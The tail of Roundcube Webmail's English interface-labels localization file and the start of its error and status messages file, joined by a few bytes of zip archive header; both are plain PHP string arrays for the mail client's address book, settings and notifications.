$labels['receiptread'] = 'Return Receipt (read)';
$labels['yourmessage'] = 'This is a Return Receipt for your message';
$labels['receiptnote'] = 'Note: This receipt only acknowledges that the message was displayed on the recipient\'s computer. There is no guarantee that the recipient has read or understood the message contents.';
$labels['sendalwaysto'] = 'Always send to $email';

$labels['zoomin'] = 'Zoom In';
$labels['zoomout'] = 'Zoom Out';
$labels['rotate'] = 'Rotate';
$labels['increaseimage'] = 'Increase image size';
$labels['decreaseimage'] = 'Decrease image size';
$labels['rotateimage'] = 'Rotate image';
$labels['showtools'] = 'Show image tools';
$labels['hidetools'] = 'Hide image tools';

// address book
$labels['name'] = 'Display Name';
$labels['firstname'] = 'First Name';
$labels['surname'] = 'Last Name';
$labels['middlename'] = 'Middle Name';
$labels['nameprefix'] = 'Prefix';
$labels['namesuffix'] = 'Suffix';
$labels['nickname'] = 'Nickname';
$labels['jobtitle'] = 'Job Title';
$labels['department'] = 'Department';
$labels['gender'] = 'Gender';
$labels['maidenname'] = 'Maiden Name';
$labels['email'] = 'Email';
$labels['phone'] = 'Phone';
$labels['address'] = 'Address';
$labels['street'] = 'Street';
$labels['locality'] = 'City';
$labels['zipcode'] = 'ZIP Code';
$labels['region'] = 'State/Province';
$labels['country'] = 'Country';
$labels['birthday'] = 'Birthday';
$labels['anniversary'] = 'Anniversary';
$labels['website'] = 'Website';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Notes';
$labels['male'] = 'male';
$labels['female'] = 'female';
$labels['manager'] = 'Manager';
$labels['assistant'] = 'Assistant';
$labels['spouse'] = 'Spouse';
$labels['allfields'] = 'All fields';
$labels['search'] = 'Search';
$labels['searchresult'] = 'Search result';
$labels['advsearch'] = 'Advanced Search';
$labels['advanced'] = 'Advanced';
$labels['other'] = 'Other';
$labels['printcontact'] = 'Print contact';
$labels['qrcode'] = 'QR Code';

$labels['typehome'] = 'Home';
$labels['typework'] = 'Work';
$labels['typeother'] = 'Other';
$labels['typemobile'] = 'Mobile';
$labels['typemain'] = 'Main';
$labels['typehomefax'] = 'Home Fax';
$labels['typeworkfax'] = 'Work Fax';
$labels['typecar'] = 'Car';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistant';
$labels['typehomepage'] = 'Home Page';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profile';

$labels['addfield'] = 'Add field...';
$labels['addcontact'] = 'Add contact';
$labels['editcontact'] = 'Edit contact';
$labels['contacts'] = 'Contacts';
$labels['contactproperties'] = 'Contact properties';
$labels['contactnameandorg'] = 'Name and Organization';
$labels['personalinfo'] = 'Personal information';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Contact photo';

$labels['edit'] = 'Edit';
$labels['cancel'] = 'Cancel';
$labels['save'] = 'Save';
$labels['delete'] = 'Delete';
$labels['discard'] = 'Discard';
$labels['continue'] = 'Continue';
$labels['ok'] = 'OK';
$labels['rename'] = 'Rename';
$labels['addphoto'] = 'Add';
$labels['replacephoto'] = 'Replace';
$labels['uploadphoto'] = 'Upload photo';
$labels['choosefile'] = 'Choose file...';
$labels['choosefiles'] = 'Choose files...';
$labels['browse'] = 'Browse';

$labels['newcontact'] = 'Create new contact';
$labels['deletecontact'] = 'Delete selected contacts';
$labels['composeto'] = 'Compose mail to';
$labels['contactsfromto'] = 'Contacts $from to $to of $count';
$labels['print'] = 'Print';
$labels['export'] = 'Export';
$labels['exportall'] = 'Export all';
$labels['exportsel'] = 'Export selected';
$labels['exportvcards'] = 'Export contacts in vCard format';
$labels['newgroup'] = 'Create new group';
$labels['addgroup'] = 'Add group';
$labels['grouprename'] = 'Rename group';
$labels['groupdelete'] = 'Delete group';
$labels['groupassign'] = 'Assign to group...';
$labels['groupremove'] = 'Remove from group';
$labels['groupremoveselected'] = 'Remove selected contacts from group';
$labels['uponelevel'] = 'Up one level';

$labels['previouspage'] = 'Show previous page';
$labels['firstpage'] = 'Show first page';
$labels['nextpage'] = 'Show next page';
$labels['lastpage'] = 'Show last page';

$labels['group'] = 'Group';
$labels['groups'] = 'Groups';
$labels['listgroup'] = 'List group members';
$labels['personaladrbook'] = 'Personal Addresses';

$labels['searchsave'] = 'Save search';
$labels['searchdelete'] = 'Delete search';

$labels['import'] = 'Import';
$labels['importcontacts'] = 'Import contacts';
$labels['importfromfile'] = 'Import from file';
$labels['importtarget'] = 'Add contacts to';
$labels['importreplace'] = 'Replace the entire address book';
$labels['importgroups'] = 'Import group assignments';
$labels['importgroupsall'] = 'All (create groups if necessary)';
$labels['importgroupsexisting'] = 'Only for existing groups';
$labels['importdesc'] = 'You can upload contacts from an existing address book.<br/>We currently support importing addresses from the <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> or CSV (comma-separated) data format.';
$labels['importmapdesc'] = 'Confirm the field mapping information below is correct before proceeding with CSV (comma-separated) data import.';
$labels['fieldnotmapped'] = 'Field not mapped (do not import)';
$labels['skipheader'] = 'Do not import first line (headers)';
$labels['done'] = 'Done';

// settings
$labels['settingsfor'] = 'Settings for';
$labels['about'] = 'About';
$labels['preferences'] = 'Preferences';
$labels['userpreferences'] = 'User preferences';
$labels['editpreferences'] = 'Edit user preferences';

$labels['identities'] = 'Identities';
$labels['manageidentities'] = 'Manage identities';
$labels['newidentity'] = 'Create new identity';
$labels['addidentity'] = 'Add identity';
$labels['editidentity'] = 'Edit identity';
$labels['identityencryption'] = 'Encryption';

$labels['preferhtml'] = 'Display HTML';
$labels['defaultcharset'] = 'Default Character Set';
$labels['htmlmessage'] = 'HTML Message';
$labels['messagepart'] = 'Part';
$labels['digitalsig'] = 'Digital Signature';
$labels['dateformat'] = 'Date format';
$labels['timeformat'] = 'Time format';
$labels['prettydate'] = 'Pretty dates';
$labels['setdefault'] = 'Set default';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Language';
$labels['timezone'] = 'Time zone';
$labels['pagesize'] = 'Rows per page';
$labels['signature'] = 'Signature';
$labels['dstactive'] = 'Daylight saving time';
$labels['showinextwin'] = 'Open message in a new window';
$labels['composeextwin'] = 'Compose in a new window';
$labels['htmleditor'] = 'Compose HTML messages';
$labels['htmlonreply'] = 'on reply to HTML message';
$labels['htmlonreplyandforward'] = 'on forward or reply to HTML message';
$labels['htmlsignature'] = 'HTML signature';
$labels['showemail'] = 'Show email address with display name';
$labels['previewpane'] = 'Show preview pane';
$labels['skin'] = 'Interface skin';
$labels['logoutclear'] = 'Clear Trash on logout';
$labels['logoutcompact'] = 'Compact Inbox on logout';
$labels['uisettings'] = 'User Interface';
$labels['serversettings'] = 'Server Settings';
$labels['mailboxview'] = 'Mailbox View';
$labels['mdnrequests'] = 'On request for return receipt';
$labels['askuser'] = 'ask me';
$labels['autosend'] = 'send receipt';
$labels['autosendknown'] = 'send receipt to my contacts, otherwise ask me';
$labels['autosendknownignore'] = 'send receipt to my contacts, otherwise ignore';
$labels['autosendtrusted'] = 'send receipt to trusted senders, otherwise ask me';
$labels['autosendtrustedignore'] = 'send receipt to trusted senders, otherwise ignore';
$labels['ignorerequest'] = 'ignore request';
$labels['readwhendeleted'] = 'Mark the message as read on delete';
$labels['flagfordeletion'] = 'Flag the message for deletion instead of delete';
$labels['skipdeleted'] = 'Do not show deleted messages';
$labels['deletealways'] = 'If moving messages to Trash fails, delete them';
$labels['deletejunk'] = 'Directly delete messages in Junk';
$labels['showremoteimages'] = 'Display remote inline images';
$labels['allowremoteresources'] = 'Allow remote resources (images, styles)';
$labels['fromknownsenders'] = 'from known senders';
$labels['fromtrustedsenders'] = 'from trusted senders';
$labels['frommycontacts'] = 'from my contacts';
$labels['always'] = 'always';
$labels['alwaysbutplain'] = 'always, except when replying to plain text';
$labels['showinlineimages'] = 'Display attached images below the message';
$labels['autosavedraft'] = 'Automatically save draft';
$labels['everynminutes'] = 'every $n minute(s)';
$labels['refreshinterval'] = 'Refresh (check for new messages, etc.)';
$labels['never'] = 'never';
$labels['immediately'] = 'immediately';
$labels['messagesdisplaying'] = 'Displaying Messages';
$labels['messagescomposition'] = 'Composing Messages';
$labels['mimeparamfolding'] = 'Attachment names';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (other)';
$labels['force7bit'] = 'Use MIME encoding for 8-bit characters';
$labels['savelocalstorage'] = "Save in the browser's local storage (temporarily)";
$labels['advancedoptions'] = 'Advanced options';
$labels['toggleadvancedoptions'] = 'Toggle advanced options';
$labels['focusonnewmessage'] = 'Focus browser window on new message';
$labels['checkallfolders'] = 'Check all folders for new messages';
$labels['displaynext'] = 'Display next list entry after delete/move';
$labels['defaultfont'] = 'Default font of HTML message';
$labels['mainoptions'] = 'Main Options';
$labels['browseroptions'] = 'Browser Options';
$labels['section'] = 'Section';
$labels['maintenance'] = 'Maintenance';
$labels['newmessage'] = 'New Message';
$labels['signatureoptions'] = 'Signature Options';
$labels['whenreplying'] = 'When replying';
$labels['replyempty'] = 'do not quote the original message';
$labels['replytopposting'] = 'start new message above the quote';
$labels['replytoppostingnoindent'] = 'start new message above the quote (no indentation)';
$labels['replybottomposting'] = 'start new message below the quote';
$labels['replyremovesignature'] = 'When replying remove original signature from message';
$labels['autoaddsignature'] = 'Automatically add signature';
$labels['newmessageonly'] = 'new message only';
$labels['replyandforwardonly'] = 'replies and forwards only';
$labels['insertsignature'] = 'Insert signature';
$labels['sigbelow'] = 'Place signature below the quoted message';
$labels['sigseparator'] = 'Force standard separator in signatures';
$labels['automarkread'] = 'Mark messages as read';
$labels['afternseconds'] = 'after $n seconds';
$labels['reqmdn'] = 'Always request a return receipt';
$labels['reqdsn'] = 'Always request a delivery status notification';
$labels['replysamefolder'] = 'Place replies in the folder of the message being replied to';
$labels['defaultabook'] = 'Default address book';
$labels['autocompletesingle'] = 'Skip alternative email addresses in autocompletion';
$labels['listnamedisplay'] = 'List contacts as';
$labels['contactformmode'] = 'Contact form mode';
$labels['privatemode'] = 'Private (Home)';
$labels['businessmode'] = 'Business (Work)';
$labels['collectedaddresses'] = 'Collected addresses';
$labels['collectedrecipients'] = 'Collected Recipients';
$labels['collectedrecipientsopt'] = 'Store outgoing email recipients in';
$labels['collectedsendersopt'] = 'Store trusted senders in';
$labels['trustedsenders'] = 'Trusted Senders';
$labels['spellcheckbeforesend'] = 'Check spelling before sending a message';
$labels['spellcheckoptions'] = 'Spellcheck Options';
$labels['spellcheckignoresyms'] = 'Ignore words with symbols';
$labels['spellcheckignorenums'] = 'Ignore words with numbers';
$labels['spellcheckignorecaps'] = 'Ignore words with all letters capitalized';
$labels['addtodict'] = 'Add to dictionary';
$labels['mailtoprotohandler'] = 'Register protocol handler for mailto: links';
$labels['standardwindows'] = 'Handle popups as standard windows';
$labels['forwardmode'] = 'Messages forwarding';
$labels['inline'] = 'inline';
$labels['asattachment'] = 'as attachment';
$labels['replyallmode'] = 'Default action of [Reply all] button';
$labels['replyalldefault'] = 'reply to all';
$labels['replyalllist'] = 'reply to mailing list only (if found)';
$labels['allmessages'] = 'all messages';
$labels['olderxdays'] = 'older than $x days';

$labels['folder'] = 'Folder';
$labels['folders'] = 'Folders';
$labels['foldername'] = 'Folder name';
$labels['subscribed'] = 'Subscribed';
$labels['messagecount'] = 'Messages';
$labels['create'] = 'Create';
$labels['createfolder'] = 'Create new folder';
$labels['managefolders'] = 'Manage folders';
$labels['specialfolders'] = 'Special Folders';
$labels['properties'] = 'Properties';
$labels['folderproperties'] = 'Folder properties';
$labels['parentfolder'] = 'Parent folder';
$labels['location'] = 'Location';
$labels['info'] = 'Information';
$labels['getfoldersize'] = 'Click to get folder size';
$labels['changesubscription'] = 'Click to change subscription';
$labels['foldertype'] = 'Folder Type';
$labels['personalfolder'] = 'Private Folder';
$labels['otherfolder'] = 'Other User\'s Folder';
$labels['sharedfolder'] = 'Public Folder';
$labels['findfolders'] = 'Find folders';
$labels['findcontacts'] = 'Find contacts';
$labels['findmail'] = 'Find mail messages';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Other users';
$labels['namespace.shared'] = 'Shared';
$labels['dualuselabel'] = 'Can contain only';
$labels['dualusemail'] = 'messages';
$labels['dualusefolder'] = 'folders';

$labels['generate'] = 'Generate';
$labels['encryptioncreatekey'] = 'Create a new key pair';
$labels['openmailvelopesettings'] = 'Open Mailvelope Settings';
$labels['encryptionprivkeysinmailvelope'] = 'You have $nr matching private keys stored in your Mailvelope keyring:';
$labels['encryptionnoprivkeysinmailvelope'] = 'This sender identity doesn\'t yet have a PGP private key stored in your Mailvelope extension. Would you like to create one in order to enable encrypted messaging?';
$labels['encryption'] = 'Encryption';
$labels['mailvelopeoptions'] = 'Mailvelope options';
$labels['mailvelopemainkeyring'] = 'Use Mailvelope main keyring';
$labels['mailvelopenotfound'] = 'Mailvelope extension is not enabled/installed in your browser.';

$labels['sortby'] = 'Sort by';
$labels['sortasc'] = 'Sort ascending';
$labels['sortdesc'] = 'Sort descending';
$labels['undo'] = 'Undo';

$labels['installedplugins'] = 'Installed plugins';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Version';
$labels['source'] = 'Source';
$labels['destination'] = 'Destination';
$labels['license'] = 'License';
$labels['support'] = 'Get support';
$labels['savedsearches'] = 'Saved searches';

$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';

// units
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';

// character sets
$labels['unicode'] = 'Unicode';
$labels['english'] = 'English';
$labels['westerneuropean'] = 'Western European';
$labels['easterneuropean'] = 'Eastern European';
$labels['southeasterneuropean'] = 'South-Eastern European';
$labels['baltic'] = 'Baltic';
$labels['cyrillic'] = 'Cyrillic';
$labels['arabic'] = 'Arabic';
$labels['greek'] = 'Greek';
$labels['hebrew'] = 'Hebrew';
$labels['turkish'] = 'Turkish';
$labels['nordic'] = 'Nordic';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Celtic';
$labels['vietnamese'] = 'Vietnamese';
$labels['japanese'] = 'Japanese';
$labels['korean'] = 'Korean';
$labels['chinese'] = 'Chinese';

// accessibility (voice-only) headings and descriptions
$labels['arialabeltopnav'] = 'Window control';
$labels['arialabeltasknav'] = 'Application tasks';
$labels['arialabeltoolbar'] = 'Application toolbar';
$labels['arialabellistnav'] = 'List navigation';
$labels['arialabelactivetask'] = 'Active task';
$labels['arialabelmessagessearchfilter'] = 'Email listing filter';
$labels['arialabelmailsearchform'] = 'Email message search form';
$labels['arialabelcontactsearchform'] = 'Contacts search form';
$labels['arialabelmailquicksearchbox'] = 'Email search input';
$labels['arialabelquicksearchbox'] = 'Search input';
$labels['arialabelfoldersearchfilter'] = 'Folder listing filter';
$labels['arialabelfoldersearchform'] = 'Folder search form';
$labels['arialabelfolderlist'] = 'Email folder selection';
$labels['arialabelmessagelist'] = 'Email Messages Listing';
$labels['arialabelmailpreviewframe'] = 'Message preview';
$labels['arialabelmailboxmenu'] = 'Folder actions menu';
$labels['arialabellistselectmenu'] = 'List selection menu';
$labels['arialabelthreadselectmenu'] = 'Threads listing menu';
$labels['arialabelmessagelistoptions'] = 'Message list display and sorting options';
$labels['arialabelmailimportdialog'] = 'Message import dialog';
$labels['arialabelmessagenav'] = 'Message navigation';
$labels['arialabelmessagebody'] = 'Message Body';
$labels['arialabelmessageactions'] = 'Message actions';
$labels['arialabelcontactquicksearch'] = 'Contacts search form';
$labels['arialabelcontactsearchbox'] = 'Contact search input';
$labels['arialabelmessageheaders'] = 'Message headers';
$labels['arialabelforwardingoptions'] = 'Forwarding options';
$labels['arialabelreplyalloptions'] = 'Reply-all options';
$labels['arialabelmoremessageactions'] = 'More message actions';
$labels['arialabelmorecontactactions'] = 'More contact actions';
$labels['arialabelmarkmessagesas'] = 'Mark selected messages as...';
$labels['arialabelcomposeoptions'] = 'Composition options';
$labels['arialabelresponsesmenu'] = 'Canned responses menu';
$labels['arialabelattachmentuploadform'] = 'Attachment upload form';
$labels['arialabelattachmentmenu'] = 'Attachment options';
$labels['arialabelmailtomenu'] = 'Email address options';
$labels['arialabelattachmentpreview'] = 'Attachment preview';
$labels['ariasummarycomposecontacts'] = 'List of contacts and groups to select as recipients';
$labels['arialabelcontactexportoptions'] = 'Contact export options';
$labels['arialabelabookgroupoptions'] = 'Addressbook/group options';
$labels['arialabelpreferencesform'] = 'Preferences form';
$labels['arialabelidentityeditfrom'] = 'Identity edit form';
$labels['arialabelresponseeditfrom'] = 'Response edit form';
$labels['arialabelsearchterms'] = 'Search terms';
$labels['arialabeldropactionmenu'] = 'Drag-n-Drop action menu';
$labels['arialabelheadersmenu'] = 'Recipient (header) adding menu';
$labels['arialabelimagetools'] = 'Image tools';

$labels['helplistnavigation'] = 'List keyboard navigation';
$labels['helplistkeyboardnavigation'] = "Arrows up/down: Move row focus/selection.
Space: Select focused row.
Shift + up/down: Select additional row above/below.
Ctrl + Space: Add focused row to selection/remove from selection.";
$labels['helplistkeyboardnavmessages'] = "Arrows right/left: expand/collapse message thread (in threads mode only).
Enter: Open the selected/focused message.
Delete: Move selected messages to Trash.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Open the selected/focused contact.";
PK
h�\=
��B�B'program/localization/en_US/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages = [];
$messages['errortitle']  = 'An error occurred!';
$messages['loginfailed']  = 'Login failed.';
$messages['cookiesdisabled'] = 'Your browser does not accept cookies.';
$messages['sessionerror'] = 'Your session is invalid or expired.';
$messages['cookiesmismatch'] = 'Cookie mismatch detected. Please, clear your browser\'s cookies.';
$messages['storageerror'] = 'Connection to storage server failed.';
$messages['servererror'] = 'Server Error!';
$messages['servererrormsg'] = 'Server Error: $msg';
$messages['accountlocked'] = 'Too many failed login attempts. Try again later.';
$messages['connerror'] = 'Connection Error (Failed to reach the server)!';
$messages['dberror'] = 'Database Error!';
$messages['dbconnerror'] = 'Unable to connect to the database!';
$messages['windowopenerror'] = 'The popup window was blocked!';
$messages['requesttimedout'] = 'Request timed out';
$messages['errorreadonly'] = 'Unable to perform operation. Folder is read-only.';
$messages['errornoperm'] = 'Unable to perform operation. Permission denied.';
$messages['erroroverquota'] = 'Unable to perform operation. No free disk space.';
$messages['erroroverquotadelete'] = 'No free disk space. Use SHIFT+DEL to delete a message.';
$messages['invalidrequest'] = 'Invalid request! No data was saved.';
$messages['invalidhost'] = 'Invalid server name.';
$messages['nomessagesfound'] = 'No messages found in this mailbox.';
$messages['loggedout'] = 'You have successfully terminated the session. Goodbye!';
$messages['mailboxempty'] = 'Mailbox is empty';
$messages['nomessages'] = 'No messages';
$messages['refreshing'] = 'Refreshing...';
$messages['loading'] = 'Loading...';
$messages['uploading'] = 'Uploading file...';
$messages['attaching'] = 'Attaching file...';
$messages['uploadingmany'] = 'Uploading files...';
$messages['loadingdata'] = 'Loading data...';
$messages['checkingmail'] = 'Checking for new messages...';
$messages['sendingmessage'] = 'Sending message...';
$messages['messagesent'] = 'Message sent successfully.';
$messages['savingmessage'] = 'Saving message...';
$messages['messagesaved'] = 'Message saved to Drafts.';
$messages['successfullysaved'] = 'Successfully saved.';
$messages['savingresponse'] = 'Saving response text...';
$messages['deleteresponseconfirm'] = 'Do you really want to delete this response text?';
$messages['nocontactselected'] = 'You have not selected a contact yet.';
$messages['addedsuccessfully'] = 'Contact added successfully to address book.';
$messages['contactexists'] = 'A contact with the same email address already exists.';
$messages['contactnameexists'] = 'A contact with the same name already exists.';
$messages['blockedimages'] = 'To protect your privacy, remote images are blocked in this message.';
$messages['blockedresources'] = 'To protect your privacy remote resources have been blocked.';
$messages['suspiciousemail'] = 'This message contains suspicious email addresses that may be fraudulent.';
$messages['bccemail'] = 'The forwarded message(s) contain confidential recipients (Bcc).';
$messages['bouncehint'] = 'The message will be sent without any modifications, i.e. using the original body, headers and recipients.';
$messages['encryptedmessage'] = 'This is an encrypted message and can not be displayed. Sorry!';
$messages['externalmessagedecryption'] = 'This is an encrypted message and can be decrypted with your browser extension.';
$messages['nopubkeyfor'] = 'No valid public key found for $email';
$messages['nopubkeyforsender'] = 'No valid public key found for your sender identity. Do you want to encrypt the message for the recipients only?';
$messages['encryptnoattachments'] = 'Already uploaded attachments cannot be encrypted. Please re-add them in the encryption editor.';
$messages['searchpubkeyservers'] = 'Do you want to search public key servers for the missing keys?';
$messages['encryptpubkeysfound'] = 'The following public keys have been found:';
$messages['keyservererror'] = 'Failed to get key from keyserver.';
$messages['keyimportsuccess'] = 'Public key $key successfully imported into your keyring.';
$messages['nocontactsfound'] = 'No contacts found.';
$messages['contactnotfound'] = 'The requested contact was not found.';
$messages['contactsearchonly'] = 'You have to use a search form to see contacts from the selected addressbook.';
$messages['sendingfailed'] = 'Failed to send message.';
$messages['senttooquickly'] = 'Please wait $sec sec(s). before sending this message.';
$messages['errorsavingsent'] = 'An error occurred while saving sent message.';
$messages['errorsaving'] = 'An error occurred while saving.';
$messages['errormoving'] = 'Could not move the message(s).';
$messages['errorcopying'] = 'Could not copy the message(s).';
$messages['errordeleting'] = 'Could not delete the message(s).';
$messages['errormarking'] = 'Could not mark the message(s).';
$messages['alerttitle'] = 'Attention';
$messages['confirmationtitle'] = 'Are you sure...';
$messages['deletecontactconfirm']  = 'Do you really want to delete selected contact(s)?';
$messages['deletegroupconfirm']  = 'Do you really want to delete selected group?';
$messages['deletemessagesconfirm'] = 'Do you really want to delete selected message(s)?';
$messages['deletefolderconfirm']  = 'Do you really want to delete this folder?';
$messages['movefolderconfirm']  = 'Do you really want to move this folder?';
$messages['purgefolderconfirm']  = 'Do you really want to delete all messages in this folder?';
$messages['contactdeleting'] = 'Deleting contact(s)...';
$messages['groupdeleting'] = 'Deleting group...';
$messages['folderdeleting'] = 'Deleting folder...';
$messages['foldermoving'] = 'Moving folder...';
$messages['foldersubscribing'] = 'Subscribing folder...';
$messages['folderunsubscribing'] = 'Unsubscribing folder...';
$messages['formincomplete'] = 'The form was not completely filled out.';
$messages['noemailwarning'] = 'Please enter a valid email address.';
$messages['nonamewarning']  = 'Please enter a name.';
$messages['nopagesizewarning'] = 'Please enter a page size.';
$messages['nosenderwarning'] = 'Please enter sender email address.';
$messages['recipientsadded'] = 'Recipient(s) added successfully.';
$messages['norecipientwarning'] = 'Please enter at least one recipient.';
$messages['disclosedrecipwarning'] = 'All recipients will see each others e-mail addresses. To prevent this and protect their privacy you can use the Bcc field.';
$messages['disclosedreciptitle'] = 'Too many public recipients';
$messages['nosubjectwarning']  = 'The "Subject" field is empty. Would you like to enter one now?';
$messages['nosubjecttitle']  = 'No subject';
$messages['nobodywarning'] = 'Send this message without text?';
$messages['notsentwarning'] = 'The message has not been sent and has unsaved changes. Do you want to discard your changes?';
$messages['restoresavedcomposedata'] = 'A previously composed but unsent message was found.\n\nSubject: $subject\nSaved: $date\n\nDo you want to restore this message?';
$messages['nosearchname'] = 'Please enter a contact name or email address.';
$messages['notuploadedwarning'] = 'Not all attachments have been uploaded yet. Please wait or cancel the upload.';
$messages['searchsuccessful'] = '$nr messages found.';
$messages['contactsearchsuccessful'] = '$nr contacts found.';
$messages['searchnomatch'] = 'Search returned no matches.';
$messages['searching'] = 'Searching...';
$messages['checking'] = 'Checking...';
$messages['stillsearching'] = 'Still searching...';
$messages['nospellerrors'] = 'No spelling errors found.';
$messages['folderdeleted'] = 'Folder successfully deleted.';
$messages['foldersubscribed'] = 'Folder successfully subscribed.';
$messages['folderunsubscribed'] = 'Folder successfully unsubscribed.';
$messages['folderpurged'] = 'Folder successfully emptied.';
$messages['folderexpunged'] = 'Folder successfully compacted.';
$messages['deletedsuccessfully'] = 'Successfully deleted.';
$messages['converting'] = 'Removing formatting...';
$messages['messageopenerror'] = 'Could not load message from server.';
$messages['filelinkerror'] = 'Attaching the file failed.';
$messages['fileuploaderror'] = 'File upload failed.';
$messages['csvfilemismatch'] = 'Import of multiple CSV files with different fields is not supported.';
$messages['filesizeerror'] = 'The uploaded file exceeds the maximum size of $size.';
$messages['filecounterror'] = 'You can upload maximum $count files at once.';
$messages['msgsizeerror'] = 'Failed to attach a file. Maximum size of a message ($size) exceeded.';
$messages['msgsizeerrorfwd'] = 'Maximum size of a message ($size) exceeded. $num message(s) have not been attached.';
$messages['copysuccess'] = 'Successfully copied $nr contacts.';
$messages['movesuccess'] = 'Successfully moved $nr contacts.';
$messages['copyerror'] = 'Could not copy any contacts.';
$messages['moveerror'] = 'Could not move any contacts.';
$messages['sourceisreadonly'] = 'This address source is read only.';
$messages['errorsavingcontact'] = 'Could not save the contact address.';
$messages['movingmessage'] = 'Moving message(s)...';
$messages['copyingmessage'] = 'Copying message(s)...';
$messages['copyingcontact'] = 'Copying contact(s)...';
$messages['movingcontact'] = 'Moving contact(s)...';
$messages['deletingmessage'] = 'Deleting message(s)...';
$messages['markingmessage'] = 'Marking message(s)...';
$messages['addingmember'] = 'Adding contact(s) to the group...';
$messages['removingmember'] = 'Removing contact(s) from the group...';
$messages['receiptsent'] = 'Successfully sent a read receipt.';
$messages['errorsendingreceipt'] = 'Could not send the receipt.';
$messages['deleteidentityconfirm'] = 'Do you really want to delete this identity?';
$messages['nodeletelastidentity'] = 'You cannot delete this identity, it\'s your last one.';
$messages['forbiddencharacter'] = 'Folder name contains a forbidden character.';
$messages['selectimportfile'] = 'Please select a file to upload.';
$messages['addresswriterror'] = 'The selected address book is not writeable.';
$messages['contactaddedtogroup'] = 'Successfully added the contacts to this group.';
$messages['contactremovedfromgroup'] = 'Successfully removed contacts from this group.';
$messages['nogroupassignmentschanged'] = 'No group assignments changed.';
$messages['importwait'] = 'Importing, please wait...';
$messages['importformaterror'] = 'Import failed! The uploaded file is not a valid import data file.';
$messages['importconfirm'] = '<b>Successfully imported $inserted contacts</b>';
$messages['importconfirmskipped'] = '<b>Skipped $skipped existing entries</b>';
$messages['importmessagesuccess'] = 'Successfully imported $nr messages';
$messages['importmessageerror'] = 'Import failed! The uploaded file is not a valid message or mailbox file';
$messages['opnotpermitted'] = 'Operation not permitted!';
$messages['nofromaddress'] = 'Missing email address in selected identity.';
$messages['editorwarning'] = 'Switching editor type may cause text formatting to be lost. Do you wish to continue?';
$messages['httpreceivedencrypterror'] = 'A fatal configuration error occurred. Contact your administrator immediately. <b>Your message can not be sent.</b>';
$messages['smtpconnerror'] = 'SMTP Error ($code): Connection to server failed.';
$messages['smtpautherror'] = 'SMTP Error ($code): Authentication failed.';
$messages['smtpfromerror'] = 'SMTP Error ($code): Failed to set sender "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP Error ($code): Failed to add recipient "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP Error: Unable to parse recipients list.';
$messages['smtputf8error'] = 'SMTP Error: Server does not support Unicode in email address.';
$messages['smtpsizeerror'] = 'SMTP Error: Message size exceeds server limit ($limit)';
$messages['smtperror'] = 'SMTP Error: $msg';
$messages['emailformaterror'] = 'Invalid email address: $email';
$messages['toomanyrecipients'] = 'Too many recipients. Reduce the number of recipients to $max.';
$messages['maxgroupmembersreached'] = 'The number of group members exceeds the maximum of $max.';
$messages['internalerror'] = 'An internal error occurred. Please try again.';
$messages['contactdelerror'] = 'Could not delete contact(s).';
$messages['contactdeleted'] = 'Contact(s) deleted successfully.';
$messages['contactrestoreerror'] = 'Could not restore deleted contact(s).';
$messages['contactrestored'] = 'Contact(s) restored successfully.';
$messages['groupdeleted'] = 'Group deleted successfully.';
$messages['grouprenamed'] = 'Group renamed successfully.';
$messages['groupcreated'] = 'Group created successfully.';
$messages['savedsearchdeleted'] = 'Saved search deleted successfully.';
$messages['savedsearchdeleteerror'] = 'Could not delete saved search.';
$messages['savedsearchcreated'] = 'Saved search created successfully.';
$messages['savedsearchcreateerror'] = 'Could not create saved search.';
$messages['messagedeleted'] = 'Message(s) deleted successfully.';
$messages['messagemoved'] = 'Message(s) moved successfully.';
$messages['messagemovedtotrash'] = 'Message(s) moved to Trash successfully.';
$messages['messagecopied'] = 'Message(s) copied successfully.';
$messages['messagemarked'] = 'Message(s) marked successfully.';
$messages['autocompletechars'] = 'Enter at least $min characters for autocompletion.';
$messages['autocompletemore'] = 'More matching entries found. Please type more characters.';
$messages['namecannotbeempty'] = 'Name cannot be empty.';
$messages['nametoolong'] = 'Name is too long.';
$messages['namedotforbidden'] = 'Folder name cannot start with a dot.';
$messages['folderupdated'] = 'Folder updated successfully.';
$messages['foldercreated'] = 'Folder created successfully.';
$messages['invalidimageformat'] = 'Not a valid image format.';
$messages['mispellingsfound'] = 'Spelling errors detected in the message.';
$messages['parentnotwritable'] = 'Unable to create/move folder into selected parent folder. No access rights.';
$messages['messagetoobig'] = 'The message part is too big to process it.';
$messages['attachmentvalidationerror'] = 'This attachment is suspicious because its type doesn\'t match the type declared in the message. If you do not trust the sender, you shouldn\'t open it in the browser because it may contain malicious contents.<br/><br/><em>Expected: $expected; found: $detected</em>';
$messages['noscriptwarning'] = 'Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser\'s settings.';
$messages['messageissent'] = 'The message was already sent, but not saved yet. Do you want to save it now?';
$messages['errnotfound'] = 'File Not Found';
$messages['errnotfoundexplain'] = 'The requested resource was not found!';
